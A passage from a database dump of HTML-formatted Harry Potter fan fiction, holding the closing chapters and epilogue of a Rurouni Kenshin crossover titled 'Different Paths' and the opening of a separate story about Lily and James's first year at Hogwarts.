&#8220;Come on, we need to go to our next mission.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>The train ride back to Hogsmeade Station was rather uneventful.&nbsp; Sirius and Cho each took their leave and returned to their various residences in Hogsmeade.&nbsp; Ron bounded back to Hogwarts Castle first thing, but Harry and Hermione lingered outside for a moment.</p>\n\n<p>&#8220;You remember where this is, Harry?&#8221; said Hermione.&nbsp; &#8220;This is where we parted after Fudge was killed.&nbsp; It seems like such a long time ago doesn&#8217;t it?&nbsp; It&#8217;s only been two months.&#8221;</p>\n\n<p>&#8220;Yes it does,&#8221; said Harry.&nbsp; The full moon glistened over the lake and there were no clouds in the starry sky.&nbsp; Around them, the fireflies were flying around, twinkling in the starlight.</p>\n\n<p>It was a beautiful night: a wondrously beautiful night.</p>\n\n<p>Harry smiled wistfully.&nbsp; &#8220;Back then, I didn&#8217;t think I&#8217;d ever return here.&nbsp; I thought that that was going to be the last time I ever saw Hogwarts.&nbsp; The last time I ever saw you.&#8221;</p>\n\n<p>Hermione smiled.&nbsp; &#8220;There isn&#8217;t going to be a last time for us Harry.&nbsp; From now on, we&#8217;re going to spend the rest of our lives together.&#8221;&nbsp; She extended her hand to him.&nbsp; &#8220;Welcome home Harry Potter.&#8221;</p>\n\n<p>Harry smiled and took Hermione&#8217;s hand.&nbsp; He drew her into a long kiss underneath the stars and whispered, &#8220;I&#8217;m home.&#8221;</p>\n\n<p>It was a beautiful night: a wondrously beautiful night.</p>\n\n<p><b>To be concluded...</b></p>\n\n<p><b>A/N</b> Wow, final chapter pre-epilogue.&nbsp; It&#8217;s been 14 and half months since I started this fic.&nbsp; And I really appreciate all of my readers who stuck with me through this whole fic.&nbsp; This was such a pleasure to write and it was undeniably worth it.&nbsp; Next: it&#8217;s the epilogue.</p> '),
	(33, 27, ' <p><b>Title:</b> Different Paths (27)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author Notes:</b> Holy cow, it&#8217;s the epilogue.&nbsp; It&#8217;s really ending.&nbsp; 1 full year and 5 months of writing, and &#8220;Different Paths&#8221; finally comes to an end.&nbsp; Unbelievable!&nbsp; This fic has been so much to me.&nbsp; You know, I&#8217;m probably going to miss writing this fic quite a bit.</p>\n\n<p><b>Chapter 27: Let it be an Epilogue</b>\n\n</p>\n\n<p><i>5 years later...</i></p>\n\n<p>The village of Hogsmeade secluded deep within the Scottish Highlands was the sole entirely magical settlement in all Britain, perhaps because of its close proximity to Hogwarts School of Witchcraft and Wizardry.&nbsp;&nbsp; It had been five years since the defeat of Lord Voldemort, and the Wizarding World had just about settled into a well-deserved time of peace.&nbsp; There were still some renegade Death Eaters and Dark Wizards running around claiming to be the heir or successors of Lord Voldemort and were planning on continuing what he had begun.&nbsp; But most of these were second-rate wizards and were slowly but steadily being hunted down by the Aurors.</p>\n\n<p>Hogsmeade was generally exempt from all of that, but there were still happenings.&nbsp; As the young American waitress, Margaret Chapel, dressed in a somewhat revealing uniform, was carrying out some garbage from the <i>Three Broomsticks</i> where she worked, out into the alley behind the pub she noticed that some shady looking punks were approaching her.&nbsp; The Auburn haired young woman rolled her eyes and turned toward the punks demanding, &#8220;Can I help you?&#8221;</p>\n\n<p>&#8220;Well little lady,&#8221; said the leader of the punks whilst leering at her.&nbsp; &#8220;We were hoping that you could play a little with us.&nbsp; Spend some time with us.&#8221;&nbsp; The other two punks laughed stupidly.</p>\n\n<p>The young woman rolled her eyes and said, &#8220;Well, as the present company pertains a resemblance to the hind quarters of a chimaera I am disinclined to acquiesce your request.&#8221;&nbsp; At the confused looks of the punks, she said, &#8220;That means no.&#8221;</p>\n\n<p>The faces of punks instantly twisted from confusion to anger.&nbsp; &#8220;You better not have said that lassie,&#8221; said the leader, &#8220;&#8217;cause now you&#8217;re gonna have to pay for it.&#8221;&nbsp; He and his buddies pulled out their wands and some knives.</p>\n\n<p>&#8220;Oh please.&nbsp; Don&#8217;t you three realize that you&#8217;re on the very verge of getting a severe beating?&#8221; said Margaret.</p>\n\n<p>&#8220;Beating?&#8221; said the leader.&nbsp; The punks burst out laughing.&nbsp; &#8220;Oh really, what can you do?&nbsp; Spank us?&#8221;</p>\n\n<p>&#8220;Oh I&#8217;m not going to be doing the beating,&#8221; said Margaret.&nbsp; &#8220;He is.&#8221;</p>\n\n<p><i>&#8220;Expelliarmus.&#8221;</i></p>\n\n<p>&#8220;What?&#8221;&nbsp; The punks spun around just as their wands and knives flew out of their hands.</p>\n\n<p>The disarmer had come from a tall, red-haired young man dressed in the blue robes of an auror.&nbsp; He had an aura of power and an attitude of no nonsense around him.&nbsp; &#8220;I believe the lady said that she was disinclined to acquiesce, or something like that, so step back chimaera hind.&nbsp; I&#8217;ll play with you punks instead,&#8221; he said.</p>\n\n<p>The punks&#8217; faces started growing red with anger.&nbsp; &#8220;Who are you to call us &#8216;chimaera hind&#8217;, Red?&#8221; demanded the leader.&nbsp; The punks started to rush the red-haired man when Margaret smiled and said, &#8220;Why hello, Ronald.&#8221;</p>\n\n<p>&#8220;&#8216;Ronald&#8217;?&#8221; exclaimed the leader of the punks.&nbsp; All three of them stopped in their tracks, their faces paling with fear.&nbsp; &#8220;You mean, that guy there is Ronald Weasley?&nbsp; The first class Auror who single handedly defeated and brought in 67 Death Eaters and Dark Wizards?&nbsp; The so called &#8216;Big Time Super Wizard&#8217;?!&nbsp; That Ronald Weasley?!&#8221;</p>\n\n<p>&#8220;Well, looks like I don&#8217;t need to introduce myself,&#8221; said Ron, giving the punks a death glare.&nbsp; &#8220;So who wants to go first?&nbsp; Or shall I just take care of all three of you at once?&#8221;</p>\n\n<p>The blood completely drained from the punks&#8217; faces, as they turned white with terror.&nbsp; After remaining rooted in their spot for a few seconds they bolted out of the alley, screaming like little girls.</p>\n\n<p>&#8220;You chased them away with just a glare and your name.&nbsp; That&#8217;s quite impressive,&#8221; said Margaret giving a once over her boyfriend.&nbsp; &#8220;I guess its true what they say, that you&#8217;re now amongst the five most powerful wizards in all Britain.&#8221;</p>\n\n<p>&#8220;Huh?&nbsp; Who&#8217;s been saying that?&#8221; asked Ron.</p>\n\n<p>&#8220;Why, just about everybody in the wizarding world,&#8221; said Margaret.&nbsp; &#8220;It even made <i>Witch Weekly</i>.&nbsp; They&#8217;ve listed you as most eligible bachelor in England as well.&#8221;</p>\n\n<p>&#8220;Well I can assure you that they got it wrong,&#8221; said Ron, sticking his nose into the air.&nbsp; &#8220;I am the <i>second</i> most powerful wizard in all the world.&#8221;</p>\n\n<p>&#8220;Well you&#8217;re sure not lacking in confidence,&#8221; said Margaret.&nbsp; &#8220;Who&#8217;s the most powerful by the way?&#8221;</p>\n\n<p>&#8220;Harry.&#8221;</p>\n\n<p>&#8220;Of course.&#8221;</p>\n\n<p>&#8220;Of course indeed,&#8221; exclaimed Ron pointing at Margaret&#8217;s revealing uniform.&nbsp; &#8220;Why the bloody hell, are you dressed up like that?&nbsp; That&#8217;s like begging punks to pay attention to you!&#8221;</p>\n\n<p>Margaret blushed a little.&nbsp; &#8220;This?&nbsp; This is the new uniform for employees at the Three Broomsticks.&#8221;</p>\n\n<p>&#8220;Don&#8217;t you sometimes worry about Rosmerta&#8217;s tastes?&#8221; asked Ron.</p>\n\n<p>&#8220;I sure do,&#8221; said Margaret.&nbsp; &#8220;By the way, I&#8217;m on my lunch break right now.&nbsp; Would you like to join me?&#8221;</p>\n\n<p>&#8220;Sorry, I&#8217;m going to have to take a rain check on that,&#8221; said Ron.&nbsp; &#8220;I&#8217;m on my way to Hogwarts.&nbsp; How about dinner instead?&#8221;</p>\n\n<p>&#8220;OK.&nbsp; But why do you need to go to Hogwarts?&#8221;</p>\n\n<p>&#8220;I&#8217;m not really sure,&#8221; said Ron.&nbsp; &#8220;Harry just said he wanted to see me today.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Since it was early in the summer vacation, Hogwarts School of Witchcraft and Wizardry was rather quiet with the lack of students milling around.&nbsp; Ronald Weasley walked through the main gates of the castle.&nbsp; &#8220;Hello, Ron&#8217;s here.&nbsp; Anyone here to see me to the castle?&#8221;</p>\n\n<p>What Ron received was not a friendly greeting but the high-pitched wail of a young child in distress.&nbsp; Ron jumped and looked up at the top of the gates to see a young boy sitting on the roof of the gate bawling like it was the end of the world.&nbsp; He had messy, raven black hair, was about four years old, and emerald green eyes could be seen between the tears that were falling.</p>\n\n<p>Ron sighed exasperatedly.&nbsp; &#8220;Alexander Potter!&nbsp; Don&#8217;t tell me you climbed up the gates and can&#8217;t get down now again!&#8221;&nbsp; He pulled out his wand and said, <i>&#8220;Wingardium Leviosa.&#8221;</i>&nbsp; The young boys wails instantly changed to laughter as he was lowered to the ground.&nbsp; Ron sighed again.&nbsp; &#8220;You know Alex, you might look exactly like a miniature version of Harry, but you sure can be a bit of an idiot at times.&nbsp; If you want to live up to the Potter legacy, you should shape u&#8230; ACK!&#8221;&nbsp; The &#8220;ack&#8221; was the result of a book being thrown at the back of Ron&#8217;s head.&nbsp; Ron spun around to see who had abused him so.</p>\n\n<p>&#8220;What are you doing picking on my son?&#8221; exclaimed Hogwarts Transfiguration Professor Hermione Potter.&nbsp; It was she whom had thrown the book.</p>\n\n<p>&#8220;Why would I pick on my own godson?&nbsp; Look at how giddy he is!&nbsp; Its rather that he enjoyed the fact that I took him down from the gate!&#8221; yelled Ron.</p>\n\n<p>Meanwhile, young Alexander Potter ran up to Hermione gleefully exclaiming &#8220;Mommy!&#8221;&nbsp; Hermione scooped him up and started cooing at him.&nbsp; &#8220;There, there now, its all right now.&nbsp; Mommy&#8217;s here,&#8221; she said.</p>\n\n<p>&#8220;Hey, don&#8217;t I get my apology?&#8221; exclaimed a disgruntled Ron.</p>\n\n<p>&#8220;Oh I&#8217;m sorry Ron,&#8221; said Hermione with a laugh.&nbsp; &#8220;But it did look like you were picking on Alex from where I was.&nbsp; I guess I should&#8217;ve trusted you more.&#8221;</p>\n\n<p>&#8220;The day you trust me more Hermione, will be the day my sister marries Draco Malfoy.&#8221;</p>\n\n<p>&#8220;Ron, they did get married,&#8221; said Hermione.&nbsp; &#8220;You were even one of the groomsmen.&#8221;</p>\n\n<p>&#8220;That&#8217;s besides the point!&#8221; exclaimed Ron.&nbsp; &#8220;And besides, why did Ginny have to go marry that lousy ferret anyways?&nbsp; Sure he helped Harry in the battle against Voldemort but he&#8217;s still a git.&nbsp; I mean I don&#8217;t think Ginny&#8217;s still been able to get him to laugh.&#8221;</p>\n\n<p>&#8220;You have to admit though, she does make him smile,&#8221; said Hermione.</p>\n\n<p>Some merry laughter sounded from behind Hermione.&nbsp; It had come from her husband, Defense against the Dark Arts Professor Harry Potter.&nbsp; &#8220;Ah how much I miss the banter between you two,&#8221; he said.&nbsp; &#8220;Ron, sorry about calling you here on such a hot day.&#8221;</p>\n\n<p>&#8220;Ah, not a problem,&#8221; said Ron.&nbsp; &#8220;So why did you call me out here anyway?&nbsp; Don&#8217;t tell me you want me to give a lecture your students again.&nbsp; Just once is tiring enough: I can&#8217;t understand how you two can stand being teachers.&nbsp; Besides, its summer right now, there shouldn&#8217;t be any students here.&#8221;</p>\n\n<p>&#8220;All in good time,&#8221; said Harry.&nbsp; &#8220;For now, just follow me to the Quidditch Pitch.&#8221;</p>\n\n<p>Ron shrugged and followed the Potters out to the Hogwarts Quidditch Pitch.&nbsp; As it was summer, the pitch was completely deserted as Harry led his family and Ron out onto the field.</p>\n\n<p>Ron looked around while asking, &#8220;OK, so now that we&#8217;re on the pitch, will you tell me why you called me here?&#8221;</p>\n\n<p>Harry merely turned around, his wand drawn.&nbsp; &#8220;Ron,&#8221; he said, &#8220;Draw your wand.&#8221;</p>\n\n<p>Ron starred at Harry.&nbsp; &#8220;What?&#8221;</p>\n\n<p>&#8220;Ronald Weasley, I challenge you to a one hit duel.&#8221;</p>\n\n<p>Ron&#8217;s jaw dropped.&nbsp; &#8220;What!&nbsp; You can&#8217;t be serious!&nbsp; Why would you challenge me?&#8221;</p>\n\n<p>&#8220;He is serious Ron,&#8221; said Hermione.&nbsp; &#8220;Years ago, you claimed that some day you would become a great wizard.&nbsp; Harry wants to test you and see if you&#8217;ve really become one.&#8221;</p>\n\n<p>&#8220;You&#8217;re the challenged Ron, so you can forgo the one hit duel and ask for a regular one or you could not accept the challenge all together.&nbsp; The choice is up to you,&#8221; said Harry.&nbsp; &#8220;Don&#8217;t you want to prove yourself?&#8221;</p>\n\n<p><i>&#8216;Yes I do.&nbsp; And I understand that you want to know firsthand what I&#8217;ve become,&#8217;</i> thought Ron.&nbsp; <i>&#8216;But this is Harry Potter I&#8217;m facing.&nbsp; This is the guy who beat Voldemort and his Death Eaters.&nbsp; And I can already tell just by the power he&#8217;s radiating that Harry won&#8217;t hold back just because I&#8217;m his best friend.&nbsp; How am I even supposed to stand a chance?&#8217;</i></p>\n\n<p>&#8220;Don&#8217;t worry,&#8221; said Harry.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;You&#8217;re a lot more powerful than you give yourself credit for Ron.&nbsp; Just one spell is all I ask for.&nbsp; Just one.&nbsp; Put everything you have learned into this single spell Ronald.&nbsp; Then, you will see the path.&#8221;</p>\n\n<p>&#8220;Path?&#8221;</p>\n\n<p>&#8220;We all travel along different paths,&#8221; said Harry.&nbsp; &#8220;I&#8217;ll explain soon after the duel.&#8221;</p>\n\n<p>Ron finally seemed determined.&nbsp; &#8220;OK,&#8221; he said as he pulled out his wand.</p>\n\n<p>&#8220;Excellent,&#8221; said Harry.&nbsp; &#8220;And now, Hermione would you do the honors?&#8221;</p>\n\n<p>&#8220;Right,&#8221; said Hermione.&nbsp; Still carrying Alex in one hand, she lifted her other hand in the air.&nbsp; After a brief pause Hermione flung her arm downwards shouting, &#8220;GO!&#8221;</p>\n\n<p>There was a flash of light as Harry and Ron&#8217;s wands blazed forth; the image of the two duelers forever being imprinted into young Alexander Potter&#8217;s mind.&nbsp; When the light had dimmed, both Harry and Ron were still standing.</p>\n\n<p>&#8220;A tie?&#8221; said Hermione.&nbsp; A moment later, Ron dropped his wand and fell to his knees.</p>\n\n<p>&#8220;Ah, bloody hell,&#8221; he said with a weak grin.&nbsp; &#8220;Guess I still was no match for you after all.&#8221;</p>\n\n<p>&#8220;Perhaps,&#8221; said Harry, smiling.&nbsp; &#8220;But that was still one heck of a spell.&#8221;&nbsp; He offered Ron his hand.&nbsp; &#8220;Can you stand?&#8221;</p>\n\n<p>&#8220;I think so,&#8221; Ron took the hand and Harry pulled his to his feet.&nbsp; Hermione caught Harry&#8217;s eye and Harry nodded.</p>\n\n<p>&#8220;Ron,&#8221; said Harry.&nbsp; &#8220;I&#8217;m offering you my Invisibility Cloak and my Firebolt.&nbsp; Oh, and the Marauder&#8217;s Map in case you need to find somebody at Hogwarts.&#8221;</p>\n\n<p>Now Ron was really shocked.&nbsp; &#8220;Wha... what are you talking about?&nbsp; I can&#8217;t just take your stuff.&nbsp; And besides, I just lost the duel.&#8221;</p>\n\n<p>&#8220;The duel wasn&#8217;t about winning or losing,&#8221; said Harry.&nbsp; &#8220;It was test: I wanted to see if you have finally found your own path.&nbsp; You see Ron we all travel along different paths.&nbsp; Many of those paths can be connected, but I&#8217;ve known for a long time that you were ultimately destined to take a path independent of me: to finally strike out on your own like you&#8217;ve always wanted, out of my shadow.&nbsp; The fact that you were able to use your full strength against me without turning back proves that you are ready to truly be on your own.&nbsp; But I still want to help you at least get started so I&#8217;m letting you borrow my stuff.&#8221;&nbsp; Harry looked at Alex and grinned.&nbsp; &#8220;At least until Alex is ready to go to Hogwarts.&nbsp; I expect all of those items to be passed to him at that time.&#8221;</p>\n\n<p>Ron pondered over all of this for a few moments before finally smiling and said, &#8220;All right, I accept.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Sometime later, the Potters were standing in the courtyard looking out to the horizon.&nbsp; They could see Ron leaving the school and heading down to Hogsmeade from there.</p>\n\n<p>&#8220;Well, I guess that&#8217;s one last obstacle down,&#8221; said Hermione.&nbsp; &#8220;People really do follow their own paths don&#8217;t they?&nbsp; Ginny and Draco got married, Sirius has spent the last few years traveling around the globe upon getting cleared, Cho has become a healer at St. Mungo&#8217;s...&#8221;</p>\n\n<p>Harry nodded.&nbsp; &#8220;Yeah, I guess so.&#8221;</p>\n\n<p>&#8220;Do you regret giving all your possessions to Ron?&#8221;</p>\n\n<p>Harry thought for a moment before answering, &#8220;Not really.&nbsp; I guess I might ask myself &#8216;what did you think you were doing?&#8217; in the near future but at the moment, no regrets.&#8221;&nbsp; He took Alex from Hermione and said, &#8220;OK, Alexander.&nbsp; Someday you&#8217;re also going to grow up to become a good wizard and... oh for crying out loud when are you going to get used to me?&#8221;&nbsp; Alex had started tugging on Harry&#8217;s hair, clearly annoyed about being taking away from his mother.</p>\n\n<p>Hermione chuckled.&nbsp; &#8220;Don&#8217;t worry, he loves his Daddy very much, don&#8217;t you Alex?&#8221;&nbsp; The young boy grinned and started nodding vigorously.&nbsp; Harry laughed and started tickling his son, resulting in Alex squealing in delight.</p>\n\n<p>Hermione smiled before stepping up to her husband and running a finger over the scar on his forehead.&nbsp; &#8220;Dumbledore once told me that a curse scar usually is a sign that the bearer of it with have a difficult life before him or her.&nbsp; The scar is a symbol of a cursed life of sorts that the person will be forced to live with so long as that scar remains.&#8221;&nbsp; She traced her hand over the scar again and said, &#8220;Your scar has faded so much, Harry.&#8221;</p>\n\n<p>Harry smiled at her.&nbsp; &#8220;Yeah, but I believe it will never completely disappear,&#8221; he said.&nbsp; &#8220;The scar is a part of me.&nbsp; Its my doom that the curse Voldemort placed on my life will always haunt me to a certain extent, no matter how my life turns out.&nbsp; That is the path I am both doomed to walk upon and that I have chosen to walk upon.&nbsp; Sure it&#8217;ll get easier and better because of you and Alex, meaning that the scar will fade, but it will never disappear.&#8221;</p>\n\n<p>&#8220;Perhaps so,&#8221; said Hermione.&nbsp; &#8220;But that&#8217;s why I will always be by your side, supporting you as you go along.&#8221;</p>\n\n<p><b>The End</b></p>\n\n<p><b>A/N</b> It&#8217;s over.&nbsp; It truly is over.&nbsp; Unbelievable that I actually managed to complete this most time consuming of fics.&nbsp; Egads!&nbsp; Thank you a million times over to all my readers and reviewers who actually stuck with me throughout these many months, waiting patiently for the updates.&nbsp; My gratitude to my readers is big.&nbsp; And now, as promised long ago, here&#8217;s the cast of characters.&nbsp; Note that the <i>Rurouni Kenshin</i> characters will be family name first since that is how I am most familiar with them:</p>\n\n<p>Harry Potter = Himura Kenshin</p>\n\n<p>Hermione Granger = Kamiya Kaoru</p>\n\n<p>Ronald Weasley = Myojin Yahiko</p>\n\n<p>Sirius Black = Sagara Sanosuke</p>\n\n<p>Cho Chang = Takani Megumi</p>\n\n<p>Ginny Weasley = Makimachi Misao</p>\n\n<p>Draco Malfoy = Shinomori Aoshi</p>\n\n<p>Severus Snape = Saito Hajime</p>\n\n<p>Albus Dumbledore = Hiko Seijuro</p>\n\n<p>Voldemort = Shishio Makoto</p>\n\n<p>Seth Soran = Seta Soujiro</p>\n\n<p>Yasmin Corellan = Komagata Yumi</p>\n\n<p>Remus Lupin = Kashiwagi &#8220;Okina&#8221; Nenji</p>\n\n<p>Order of the Phoenix = Oniwabanshu</p>\n\n<p>Horace Salacion = Sadojima Hoji</p>\n\n<p>Grindelwald = Uonuma Usui</p>\n\n<p>Angelus O&#8217;Connell = Yukyuzan Anji</p>\n\n<p>Chucky Sullivan = Sawagejyo Chou</p>\n\n<p>Cassadra Frost = Honjo Kamatari</p>\n\n<p>Death Eater Elite Ten = Jyupongatana</p>\n\n<p>There are of course others but I figure those are the ones worth listing.&nbsp; So once again, a grateful thank you to all my readers. </p> '),
	(36, 1, '<p>	Lily had known James since she was little.  They had both gone to the same schools, and were about to start their first year together at the local high school.  James was Lily’s best friend, and she was his.  They were inseparable.  The only problem was that James had a secret, a secret so unspeakable, he wasn’t even allowed to tell his best friend Lily what it was.</p>\n<p>	James’ family consisted of his father, mother and himself.  The Potters were a pleas'),
	(36, 2, '\n\n\n\n<p align="JUSTIFY">The First Year</p>\n<p align="JUSTIFY">	James&#8217; head snapped up. His eyes widened with shock, but he didn&#8217;t say anything. <br>\n	&#8220;Lily?!?&#8221; he whispered.</p>\n<p align="JUSTIFY">	&#8220;Um, I take it you two know each other then?&#8221; asked Sirius, trying to break the silence.<br>\n	Lily laughed. &#8220;Of course! James and I have been best friends since we were little.&#8221;<br>\n	Remus looked confused. &#8220;So then, why are you so surprised to see each other ?&#8221;<br>\n	&#8220;I&#8217;m a Muggle-born witch. I never knew I was a witch until I got my letter. That&#8217;s why James never knew, I didn&#8217;t know myself. But James, you never told me about you being a wizard.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Well, you see, I didn&#8217;t know that you were a witch. I just thought that you were a Muggle, and </p>\n<p align="JUSTIFY">we wizards don&#8217;t tell Muggles about being able to do magic.&#8221;</p>\n<p align="JUSTIFY">	&#8220;That would explain why you stopped talking to me this summer.&#8221;</p>\n<p align="JUSTIFY">	James nodded his head. &#8220;I&#8217;m sorry Lil, if I had known, I would have told you. But then, how do you know Remus&#8217; friend? I&#8217;m sorry, I forgot your name too.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Oh, you mean Sirius? Well, he helped me get my things from Diagon Alley. Wow,</p>\n<p align="JUSTIFY"> I am so happy to see you!&#8221;</p>\n<p align="JUSTIFY">	James nodded his head in fervent agreement. Lily sat back, glowing with happiness. She was starting a new school, her best friend was talking to her again, and she had two new friends as well. Everything seemed perfect.  She focused her attention on the boys&#8217; conversation about Hogwarts.</p>\n<p align="JUSTIFY">	&#8220;What are the houses again?&#8221; asked Sirius</p>\n<p align="JUSTIFY">.	&#8220;Houses?&#8221; asked Lily, confused.</p>\n<p align="JUSTIFY">	James started to explain. &#8220;Everyone gets sorted into houses. The houses are where we live during the year, and we have classes and everything with housemates. I think that the house names are Hufflepuff, Ravenclaw, Slytherin, and Gryffindor.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Gryffindor? Isn&#8217;t that the name of the man in your portrait James?&#8221;</p>\n<p align="JUSTIFY">	&#8220;Yep,&#8221; he replied proudly, &#8220;Godric Gryffindor was one of the founders of Hogwarts. I know that I will be in Gryffindor house, it is by far the best one.&#8221;</p>\n<p align="JUSTIFY">	Remus laughed. &#8220;You just say that because he is your like, great-great-great grandfather.&#8221;<br>\n	Sirius and Lily laughed along with Remus, and James just shrugged.</p>\n<p align="JUSTIFY"> <br>\n	&#8220;Well, I&#8217;d rather be in Gryffindor than Slytherin. Every single witch or wizard in Slytherin house has turned out evil. I mean, they are just vile.&#8221; remarked James, as Remus and Sirius nodded fervently.</p>\n<p align="JUSTIFY">	The rest of the train ride was passed sitting and talking about different aspects of the wizarding world. Lily learned about Quidditch, which Sirius and James were both avid fans of. Finding a common thread to discuss, the two had been talking about teams and statistics for the past hour and a half. While they were drooling over Quidditch, Remus told her about the classes that they would be taking.</p>\n<p align="JUSTIFY">	&#8220;My older sister, Julie, has already graduated from here. She is the minister&#8217;s assistant at the Ministry of Magic. She has already told me all about Hogwarts.&#8221;</p>\n<p align="JUSTIFY">	The train came to a stop about an hour later. There was a scramble to get off the train and into the fresh air. Lily heard a booming voice up ahead.</p>\n<p align="JUSTIFY">	&#8220;Firs&#8217; years this way! C&#8217;mon now, firs&#8217; years!&#8221; Lily scanned the darkness to see the hugest man she had ever seen before. He was dressed in a moleskin overcoat and carried a lantern in order to see the crowd of students.</p>\n<p align="JUSTIFY">	&#8220;C&#8217;mon, firs&#8217; years. All righ&#8217;, everyone here? Now, lets go. Four to a boat, come on now.&#8221;</p>\n<p align="JUSTIFY">	The students filed quickly to a fleet of small row boats floating on the water. Lily climbed into one first, and gripped the edges tightly as James and Sirius both clambered in, making the boat sway dangerously. Remus hopped in last. The fleet of boats made their way across the water. Lily assumed that they were bewitched to move on their own, as no one was rowing them. About two minutes into the ride, an enormous castle loomed into view. Lily gasped, it was a breathtaking image. All the rest of the students were quietly in awe of the magnificent castle, also.</p>\n<p align="JUSTIFY">	The boats came into a small, underground harbor and the students unloaded. They waited nervously at the foot of a huge staircase. The huge man knocked on the door, and a formidable looking woman appeared.</p>\n<p align="JUSTIFY">	&#8220;They are all here, Professor McGonagall.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Very well, Hagrid,&#8221; she replied, &#8220;I&#8217;ll take it from here.&#8221;</p>\n<p align="JUSTIFY">	The huge man called Hagrid left, and the woman continued. &#8220;Welcome to Hogwarts. Shortly, you will be entering through these doors and you will be sorted into your houses. I suggest that you make yourself presentable, as the Sorting Ceremony will be taking place in front of the rest of the school.&#8221;</p>\n<p align="JUSTIFY">	Oh great, Lily thought, that&#8217;s a calming thought. She looked around. Remus was looking slightly green, and Sirius had decided to calm his nerves by poking James in the back of his head, which Sirius found to be incredibly funny. James looked slightly annoyed with the poking, but retaliated by repeatingly kicking Sirius in the shins. </p>\n<p align="JUSTIFY">	Professor McGonagall reappeared.  &#8220;Ok, we are ready for you.</p>\n<p align="JUSTIFY">	The first years filed into the Great Hall.  All around them, students in black robes and tall, pointed hats turned in their seats to get a better look.  Lily swallowed, not sure if she was nervous or just plain scared out of her wits.  </p>\n<p align="JUSTIFY">	&#8220;When I call your name, I want you to step forward, and try on the sorting hat.&#8221;  Professor McGonagall gestured towards a ratty, beaten wizards hat that sat on a four-legged stool.</p>\n<p align="JUSTIFY">	&#8220;Black, Sirius.&#8221;</p>\n<p align="JUSTIFY">	Sirius stepped forth, his face pale but determined.  He sat on the stool for about half a minute before--to Lily&#8217;s shock--the hat called out &#8220;GRYFFINDOR&#8221;.</p>\n<p align="JUSTIFY">	Immense relief spread throughout Sirius&#8217; face.  He proceeded to sit at the Gryffindor table, where he then looked up to Lily, James and Remus and gave them a thumbs up sign.</p>\n<p align="JUSTIFY">	The list seemed to go on forever.  Two girls were sorted into Ravenclaw, and a few people into Slytherin.  Another girl, (&#8220;Nell Drake&#8220;) had been sorted into Hufflepuff.  Lily noticed that it took longer for the hat to call out names than it did others.  She sincerely hoped that she wasn&#8216;t among the ones who had to sit there for five minutes.  &#8220;Evans, Lily&#8221;.  This is it, she thought as she walked to the stool, ok, relax.  She jammed the hat onto her head, and sat there.  </p>\n<p align="JUSTIFY">	&#8220;Hmm,&#8221; said a tiny voice that seemed to be in her head, &#8220;very interesting.  Brains, loyalty.  I know where to put you&#8230; GRYFFINDOR!&#8221;  She felt the hat being pulled from her head, and she ran over to Sirius who was yelling himself hoarse.  Lily sat down, feeling very accomplished, and waited to see the rest of her friends being sorted.  Remus got into Gryffindor as well, which had made Sirius very pleased.  And, of course, James had also gotten in.  &#8220;Well, of course, I am family&#8221; he said rather smugly.</p>\n<p align="JUSTIFY">.  Just then, another freshly sorted boy sat down next to Remus. He was round-faced, with small eyes and a pointy nose, and he seemed very nervous to be even sitting there.</p>\n<p align="JUSTIFY"> 	&#8220;Hi,&#8221; said Lily kindly, &#8220;and who are you?&#8221;</p>\n<p align="JUSTIFY">	The boy replied, &#8220;Peter Pettigrew.&#8221; He had a squeaky voice which was made even higher by his nervousness.</p>\n<p align="JUSTIFY">	&#8220;Hi Peter, I am Lily, and this is James Potter, Sirius Black, and Remus Lupin.  Are you a first year as well?&#8221;</p>\n<p align="JUSTIFY">	He nodded.  &#8220;Pleased to meet you,&#8221; he squeaked.</p>\n<p align="JUSTIFY">	The rest of the dinner went by with the usual amount of chatter.  Sirius and James entertained everyone with jokes, and before Lily knew it, a Gryffindor prefect was leading them to the dormitories.  Lily was too tired to note that all the pictures moved, and that the Gryffindor common room was the most beautiful thing she had ever seen.  The gang trudged up the stairs to their respective rooms, and quickly fell asleep.</p>\n<p align="JUSTIFY">	The next day at breakfast, schedules were handed out.  Lily was excited to get to classes, but James was a little less enthusiastic.  </p>\n<p align="JUSTIFY">	&#8220;Oh no,&#8221; he moaned, &#8220;potions with the Slytherins&#8221;.</p>\n<p 